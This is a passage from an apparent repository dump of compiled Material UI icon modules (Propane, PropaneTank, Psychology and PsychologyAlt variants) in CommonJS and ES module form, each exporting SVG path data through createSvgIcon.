    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 18c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-3H6zM16 8H8c-1.1 0-2 .9-2 2v3h12v-3c0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6.14V4c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2.14c-1.72.45-3 2-3 3.86v8c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4v-8c0-1.86-1.28-3.41-3-3.86M9 4h6v2h-2c0-.55-.45-1-1-1s-1 .45-1 1H9zm9 14c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2v-3h12zm0-5H6v-3c0-1.1.9-2 2-2h8c1.1 0 2 .9 2 2z\"\n}, \"1\")], 'PropaneTankTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneTankTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 18c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-3H6zM16 8H8c-1.1 0-2 .9-2 2v3h12v-3c0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6.14V4c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2.14c-1.72.45-3 2-3 3.86v8c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4v-8c0-1.86-1.28-3.41-3-3.86M9 4h6v2h-2c0-.55-.45-1-1-1s-1 .45-1 1H9zm9 14c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2v-3h12zm0-5H6v-3c0-1.1.9-2 2-2h8c1.1 0 2 .9 2 2z\"\n}, \"1\")], 'PropaneTankTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 8H7c-2.21 0-4 1.79-4 4s1.79 4 4 4h10c2.21 0 4-1.79 4-4s-1.79-4-4-4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6h-1V5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v1H7c-3.31 0-6 2.69-6 6s2.69 6 6 6v3h2v-3h6v3h2v-3c3.31 0 6-2.69 6-6s-2.69-6-6-6m-7-1h4v1h-4zm7 11H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4\"\n}, \"1\")], 'PropaneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 8H7c-2.21 0-4 1.79-4 4s1.79 4 4 4h10c2.21 0 4-1.79 4-4s-1.79-4-4-4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6h-1V5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v1H7c-3.31 0-6 2.69-6 6s2.69 6 6 6v3h2v-3h6v3h2v-3c3.31 0 6-2.69 6-6s-2.69-6-6-6m-7-1h4v1h-4zm7 11H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4\"\n}, \"1\")], 'PropaneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Psychology.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8.57c-.79 0-1.43.64-1.43 1.43s.64 1.43 1.43 1.43 1.43-.64 1.43-1.43-.64-1.43-1.43-1.43\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3C9.25 3 6.2 5.94 6.02 9.64L4.1 12.2c-.25.33-.01.8.4.8H6v3c0 1.1.9 2 2 2h1v3h7v-4.68c2.36-1.12 4-3.53 4-6.32 0-3.87-3.13-7-7-7m3 7c0 .13-.01.26-.02.39l.83.66c.08.06.1.16.05.25l-.8 1.39c-.05.09-.16.12-.24.09l-.99-.4c-.21.16-.43.29-.67.39L14 13.83c-.01.1-.1.17-.2.17h-1.6c-.1 0-.18-.07-.2-.17l-.15-1.06c-.25-.1-.47-.23-.68-.39l-.99.4c-.09.03-.2 0-.25-.09l-.8-1.39c-.05-.08-.03-.19.05-.25l.84-.66c-.01-.13-.02-.26-.02-.39s.02-.27.04-.39l-.85-.66c-.08-.06-.1-.16-.05-.26l.8-1.38c.05-.09.15-.12.24-.09l1 .4c.2-.15.43-.29.67-.39L12 6.17c.02-.1.1-.17.2-.17h1.6c.1 0 .18.07.2.17l.15 1.06c.24.1.46.23.67.39l1-.4c.09-.03.2 0 .24.09l.8 1.38c.05.09.03.2-.05.26l-.85.66c.03.12.04.25.04.39\"\n}, \"1\")], 'Psychology');"
  },
  {
    "path": "packages/mui-icons-material/lib/Psychology.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8.57c-.79 0-1.43.64-1.43 1.43s.64 1.43 1.43 1.43 1.43-.64 1.43-1.43-.64-1.43-1.43-1.43\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3C9.25 3 6.2 5.94 6.02 9.64L4.1 12.2c-.25.33-.01.8.4.8H6v3c0 1.1.9 2 2 2h1v3h7v-4.68c2.36-1.12 4-3.53 4-6.32 0-3.87-3.13-7-7-7m3 7c0 .13-.01.26-.02.39l.83.66c.08.06.1.16.05.25l-.8 1.39c-.05.09-.16.12-.24.09l-.99-.4c-.21.16-.43.29-.67.39L14 13.83c-.01.1-.1.17-.2.17h-1.6c-.1 0-.18-.07-.2-.17l-.15-1.06c-.25-.1-.47-.23-.68-.39l-.99.4c-.09.03-.2 0-.25-.09l-.8-1.39c-.05-.08-.03-.19.05-.25l.84-.66c-.01-.13-.02-.26-.02-.39s.02-.27.04-.39l-.85-.66c-.08-.06-.1-.16-.05-.26l.8-1.38c.05-.09.15-.12.24-.09l1 .4c.2-.15.43-.29.67-.39L12 6.17c.02-.1.1-.17.2-.17h1.6c.1 0 .18.07.2.17l.15 1.06c.24.1.46.23.67.39l1-.4c.09-.03.2 0 .24.09l.8 1.38c.05.09.03.2-.05.26l-.85.66c.03.12.04.25.04.39\"\n}, \"1\")], 'Psychology');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.94 9.06C19.5 5.73 16.57 3 13 3 9.47 3 6.57 5.61 6.08 9l-1.93 3.48c-.41.66.07 1.52.85 1.52h1v2c0 1.1.9 2 2 2h1v3h7v-4.68c2.62-1.25 4.35-4.08 3.94-7.26M12.5 14c-.41 0-.74-.33-.74-.74s.33-.73.74-.73.73.32.73.73-.31.74-.73.74m1.76-4.32c-.44.65-.86.85-1.09 1.27-.09.17-.13.28-.13.82h-1.06c0-.29-.04-.75.18-1.16.28-.51.83-.81 1.14-1.26.33-.47.15-1.36-.8-1.36-.62 0-.92.47-1.05.86l-.96-.4c.27-.78.97-1.45 2.01-1.45.86 0 1.45.39 1.75.88.26.43.41 1.22.01 1.8\"\n}), 'PsychologyAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.94 9.06C19.5 5.73 16.57 3 13 3 9.47 3 6.57 5.61 6.08 9l-1.93 3.48c-.41.66.07 1.52.85 1.52h1v2c0 1.1.9 2 2 2h1v3h7v-4.68c2.62-1.25 4.35-4.08 3.94-7.26M12.5 14c-.41 0-.74-.33-.74-.74s.33-.73.74-.73.73.32.73.73-.31.74-.73.74m1.76-4.32c-.44.65-.86.85-1.09 1.27-.09.17-.13.28-.13.82h-1.06c0-.29-.04-.75.18-1.16.28-.51.83-.81 1.14-1.26.33-.47.15-1.36-.8-1.36-.62 0-.92.47-1.05.86l-.96-.4c.27-.78.97-1.45 2.01-1.45.86 0 1.45.39 1.75.88.26.43.41 1.22.01 1.8\"\n}), 'PsychologyAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.94 9.06C19.5 5.73 16.57 3 13 3 9.47 3 6.57 5.61 6.08 9l-1.93 3.48c-.41.66.07 1.52.85 1.52h1v2c0 1.1.9 2 2 2h1v3h7v-4.68c2.62-1.25 4.35-4.08 3.94-7.26m-5.05 5.57-.89.42V19h-3v-3H8v-4H6.7l1.33-2.33C8.21 7.06 10.35 5 13 5c2.76 0 5 2.24 5 5 0 2.09-1.29 3.88-3.11 4.63\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 12.54c-.41 0-.74.31-.74.73 0 .41.33.74.74.74.42 0 .73-.33.73-.74 0-.42-.31-.73-.73-.73m0-5.54c-1.03 0-1.74.67-2 1.45l.96.4c.13-.39.43-.86 1.05-.86.95 0 1.13.89.8 1.36-.32.45-.86.75-1.14 1.26-.23.4-.18.87-.18 1.16h1.06c0-.55.04-.65.13-.82.23-.42.65-.62 1.09-1.27.4-.59.25-1.38-.01-1.8-.31-.49-.9-.88-1.76-.88\"\n}, \"1\")], 'PsychologyAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.94 9.06C19.5 5.73 16.57 3 13 3 9.47 3 6.57 5.61 6.08 9l-1.93 3.48c-.41.66.07 1.52.85 1.52h1v2c0 1.1.9 2 2 2h1v3h7v-4.68c2.62-1.25 4.35-4.08 3.94-7.26m-5.05 5.57-.89.42V19h-3v-3H8v-4H6.7l1.33-2.33C8.21 7.06 10.35 5 13 5c2.76 0 5 2.24 5 5 0 2.09-1.29 3.88-3.11 4.63\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 12.54c-.41 0-.74.31-.74.73 0 .41.33.74.74.74.42 0 .73-.33.73-.74 0-.42-.31-.73-.73-.73m0-5.54c-1.03 0-1.74.67-2 1.45l.96.4c.13-.39.43-.86 1.05-.86.95 0 1.13.89.8 1.36-.32.45-.86.75-1.14 1.26-.23.4-.18.87-.18 1.16h1.06c0-.55.04-.65.13-.82.23-.42.65-.62 1.09-1.27.4-.59.25-1.38-.01-1.8-.31-.49-.9-.88-1.76-.88\"\n}, \"1\")], 'PsychologyAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.94 9.06C19.5 5.73 16.57 3 13 3 9.47 3 6.57 5.61 6.08 9l-1.93 3.48c-.41.66.07 1.52.85 1.52h1v2c0 1.1.9 2 2 2h1v2c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-3.68c2.62-1.25 4.35-4.08 3.94-7.26M12.5 14c-.41 0-.74-.33-.74-.74s.33-.73.74-.73.73.32.73.73-.31.74-.73.74m1.76-4.32c-.44.65-.86.85-1.09 1.27-.09.17-.13.28-.13.82h-1.06c0-.29-.04-.75.18-1.16.28-.51.83-.81 1.14-1.26.33-.47.15-1.36-.8-1.36-.62 0-.92.47-1.05.86l-.96-.4c.27-.78.97-1.45 2.01-1.45.86 0 1.45.39 1.75.88.26.43.41 1.22.01 1.8\"\n}), 'PsychologyAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.94 9.06C19.5 5.73 16.57 3 13 3 9.47 3 6.57 5.61 6.08 9l-1.93 3.48c-.41.66.07 1.52.85 1.52h1v2c0 1.1.9 2 2 2h1v2c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-3.68c2.62-1.25 4.35-4.08 3.94-7.26M12.5 14c-.41 0-.74-.33-.74-.74s.33-.73.74-.73.73.32.73.73-.31.74-.73.74m1.76-4.32c-.44.65-.86.85-1.09 1.27-.09.17-.13.28-.13.82h-1.06c0-.29-.04-.75.18-1.16.28-.51.83-.81 1.14-1.26.33-.47.15-1.36-.8-1.36-.62 0-.92.47-1.05.86l-.96-.4c.27-.78.97-1.45 2.01-1.45.86 0 1.45.39 1.75.88.26.43.41 1.22.01 1.8\"\n}), 'PsychologyAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.94 9.06C19.5 5.73 16.57 3 13 3 9.47 3 6.57 5.61 6.08 9l-1.93 3.48c-.41.66.07 1.52.85 1.52h1v4h3v3h7v-4.68c2.62-1.25 4.35-4.08 3.94-7.26M12.5 14c-.41 0-.74-.33-.74-.74s.33-.73.74-.73.73.32.73.73-.31.74-.73.74m1.76-4.32c-.44.65-.86.85-1.09 1.27-.09.17-.13.28-.13.82h-1.06c0-.29-.04-.75.18-1.16.28-.51.83-.81 1.14-1.26.33-.47.15-1.36-.8-1.36-.62 0-.92.47-1.05.86l-.96-.4c.27-.78.97-1.45 2.01-1.45.86 0 1.45.39 1.75.88.26.43.41 1.22.01 1.8\"\n}), 'PsychologyAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.94 9.06C19.5 5.73 16.57 3 13 3 9.47 3 6.57 5.61 6.08 9l-1.93 3.48c-.41.66.07 1.52.85 1.52h1v4h3v3h7v-4.68c2.62-1.25 4.35-4.08 3.94-7.26M12.5 14c-.41 0-.74-.33-.74-.74s.33-.73.74-.73.73.32.73.73-.31.74-.73.74m1.76-4.32c-.44.65-.86.85-1.09 1.27-.09.17-.13.28-.13.82h-1.06c0-.29-.04-.75.18-1.16.28-.51.83-.81 1.14-1.26.33-.47.15-1.36-.8-1.36-.62 0-.92.47-1.05.86l-.96-.4c.27-.78.97-1.45 2.01-1.45.86 0 1.45.39 1.75.88.26.43.41 1.22.01 1.8\"\n}), 'PsychologyAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 5c-2.65 0-4.79 2.06-4.97 4.67L6.7 12H8v4h3v3h3v-3.95l.89-.42C16.71 13.88 18 12.09 18 10c0-2.76-2.24-5-5-5m-.5 9c-.41 0-.74-.33-.74-.74s.33-.73.74-.73.73.32.73.73-.31.74-.73.74m1.76-4.32c-.44.65-.86.85-1.09 1.27-.09.17-.13.28-.13.82h-1.06c0-.29-.04-.75.18-1.16.28-.51.83-.81 1.14-1.26.33-.47.15-1.36-.8-1.36-.62 0-.92.47-1.05.86l-.96-.4c.27-.78.97-1.45 2.01-1.45.86 0 1.45.39 1.75.88.26.43.41 1.22.01 1.8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.94 9.06C19.5 5.73 16.57 3 13 3 9.47 3 6.57 5.61 6.08 9l-1.93 3.48c-.41.66.07 1.52.85 1.52h1v2c0 1.1.9 2 2 2h1v3h7v-4.68c2.62-1.25 4.35-4.08 3.94-7.26m-5.05 5.57-.89.42V19h-3v-3H8v-4H6.7l1.33-2.33C8.21 7.06 10.35 5 13 5c2.76 0 5 2.24 5 5 0 2.09-1.29 3.88-3.11 4.63\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 12.54c-.41 0-.74.31-.74.73 0 .41.33.74.74.74.42 0 .73-.33.73-.74 0-.42-.31-.73-.73-.73m0-5.54c-1.03 0-1.74.67-2 1.45l.96.4c.13-.39.43-.86 1.05-.86.95 0 1.13.89.8 1.36-.32.45-.86.75-1.14 1.26-.23.4-.18.87-.18 1.16h1.06c0-.55.04-.65.13-.82.23-.42.65-.62 1.09-1.27.4-.59.25-1.38-.01-1.8-.31-.49-.9-.88-1.76-.88\"\n}, \"2\")], 'PsychologyAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 5c-2.65 0-4.79 2.06-4.97 4.67L6.7 12H8v4h3v3h3v-3.95l.89-.42C16.71 13.88 18 12.09 18 10c0-2.76-2.24-5-5-5m-.5 9c-.41 0-.74-.33-.74-.74s.33-.73.74-.73.73.32.73.73-.31.74-.73.74m1.76-4.32c-.44.65-.86.85-1.09 1.27-.09.17-.13.28-.13.82h-1.06c0-.29-.04-.75.18-1.16.28-.51.83-.81 1.14-1.26.33-.47.15-1.36-.8-1.36-.62 0-.92.47-1.05.86l-.96-.4c.27-.78.97-1.45 2.01-1.45.86 0 1.45.39 1.75.88.26.43.41 1.22.01 1.8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.94 9.06C19.5 5.73 16.57 3 13 3 9.47 3 6.57 5.61 6.08 9l-1.93 3.48c-.41.66.07 1.52.85 1.52h1v2c0 1.1.9 2 2 2h1v3h7v-4.68c2.62-1.25 4.35-4.08 3.94-7.26m-5.05 5.57-.89.42V19h-3v-3H8v-4H6.7l1.33-2.33C8.21 7.06 10.35 5 13 5c2.76 0 5 2.24 5 5 0 2.09-1.29 3.88-3.11 4.63\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 12.54c-.41 0-.74.31-.74.73 0 .41.33.74.74.74.42 0 .73-.33.73-.74 0-.42-.31-.73-.73-.73m0-5.54c-1.03 0-1.74.67-2 1.45l.96.4c.13-.39.43-.86 1.05-.86.95 0 1.13.89.8 1.36-.32.45-.86.75-1.14 1.26-.23.4-.18.87-.18 1.16h1.06c0-.55.04-.65.13-.82.23-.42.65-.62 1.09-1.27.4-.59.25-1.38-.01-1.8-.31-.49-.9-.88-1.76-.88\"\n}, \"2\")], 'PsychologyAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.82 7.22-1 .4c-.21-.16-.43-.29-.67-.39L14 6.17c-.02-.1-.1-.17-.2-.17h-1.6c-.1 0-.18.07-.19.17l-.15 1.06c-.24.1-.47.23-.67.39l-1-.4c-.09-.03-.2 0-.24.09l-.8 1.38c-.05.09-.03.2.05.26l.85.66c-.03.12-.05.26-.05.39q0 .195.03.39l-.84.66c-.08.06-.1.17-.05.25l.8 1.39c.05.09.15.12.25.09l.99-.4c.21.16.43.29.68.39l.14 1.06c.02.1.1.17.2.17h1.6c.1 0 .18-.07.2-.17l.15-1.06c.24-.1.47-.23.67-.39l.99.4c.09.04.2 0 .24-.09l.8-1.39c.05-.09.03-.19-.05-.25l-.83-.66q.03-.195.03-.39 0-.21-.03-.39l.85-.66c.08-.06.1-.17.05-.26l-.8-1.38c-.05-.09-.16-.12-.25-.09M13 11.43c-.79 0-1.43-.64-1.43-1.43s.64-1.43 1.43-1.43 1.43.64 1.43 1.43-.64 1.43-1.43 1.43\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.94 9.06c-.43-3.27-3.23-5.86-6.53-6.05C13.27 3 13.14 3 13 3 9.47 3 6.57 5.61 6.08 9l-1.93 3.48c-.41.66.07 1.52.85 1.52h1v2c0 1.1.9 2 2 2h1v3h7v-4.68c2.62-1.25 4.35-4.08 3.94-7.26m-5.05 5.57-.89.42V19h-3v-3H8v-4H6.7l1.33-2.33C8.21 7.06 10.35 5 13 5c2.76 0 5 2.24 5 5 0 2.09-1.29 3.88-3.11 4.63\"\n}, \"1\")], 'PsychologyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.82 7.22-1 .4c-.21-.16-.43-.29-.67-.39L14 6.17c-.02-.1-.1-.17-.2-.17h-1.6c-.1 0-.18.07-.19.17l-.15 1.06c-.24.1-.47.23-.67.39l-1-.4c-.09-.03-.2 0-.24.09l-.8 1.38c-.05.09-.03.2.05.26l.85.66c-.03.12-.05.26-.05.39q0 .195.03.39l-.84.66c-.08.06-.1.17-.05.25l.8 1.39c.05.09.15.12.25.09l.99-.4c.21.16.43.29.68.39l.14 1.06c.02.1.1.17.2.17h1.6c.1 0 .18-.07.2-.17l.15-1.06c.24-.1.47-.23.67-.39l.99.4c.09.04.2 0 .24-.09l.8-1.39c.05-.09.03-.19-.05-.25l-.83-.66q.03-.195.03-.39 0-.21-.03-.39l.85-.66c.08-.06.1-.17.05-.26l-.8-1.38c-.05-.09-.16-.12-.25-.09M13 11.43c-.79 0-1.43-.64-1.43-1.43s.64-1.43 1.43-1.43 1.43.64 1.43 1.43-.64 1.43-1.43 1.43\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.94 9.06c-.43-3.27-3.23-5.86-6.53-6.05C13.27 3 13.14 3 13 3 9.47 3 6.57 5.61 6.08 9l-1.93 3.48c-.41.66.07 1.52.85 1.52h1v2c0 1.1.9 2 2 2h1v3h7v-4.68c2.62-1.25 4.35-4.08 3.94-7.26m-5.05 5.57-.89.42V19h-3v-3H8v-4H6.7l1.33-2.33C8.21 7.06 10.35 5 13 5c2.76 0 5 2.24 5 5 0 2.09-1.29 3.88-3.11 4.63\"\n}, \"1\")], 'PsychologyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8.57c-.79 0-1.43.64-1.43 1.43s.64 1.43 1.43 1.43 1.43-.64 1.43-1.43-.64-1.43-1.43-1.43\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.21 3c-3.84-.11-7 2.87-7.19 6.64L4.1 12.2c-.25.33-.01.8.4.8H6v3c0 1.1.9 2 2 2h1v2c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-3.68c2.44-1.16 4.1-3.68 4-6.58-.14-3.62-3.18-6.63-6.79-6.74M16 10c0 .13-.01.26-.02.39l.83.66c.08.06.1.16.05.25l-.8 1.39c-.05.09-.16.12-.24.09l-.99-.4c-.21.16-.43.29-.67.39L14 13.83c-.01.1-.1.17-.2.17h-1.6c-.1 0-.18-.07-.2-.17l-.15-1.06c-.25-.1-.47-.23-.68-.39l-.99.4c-.09.03-.2 0-.25-.09l-.8-1.39c-.05-.08-.03-.19.05-.25l.84-.66c-.01-.13-.02-.26-.02-.39s.02-.27.04-.39l-.85-.66c-.08-.06-.1-.16-.05-.26l.8-1.38c.05-.09.15-.12.24-.09l1 .4c.2-.15.43-.29.67-.39L12 6.17c.02-.1.1-.17.2-.17h1.6c.1 0 .18.07.2.17l.15 1.06c.24.1.46.23.67.39l1-.4c.09-.03.2 0 .24.09l.8 1.38c.05.09.03.2-.05.26l-.85.66c.03.12.04.25.04.39\"\n}, \"1\")], 'PsychologyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyRounded.mjs",
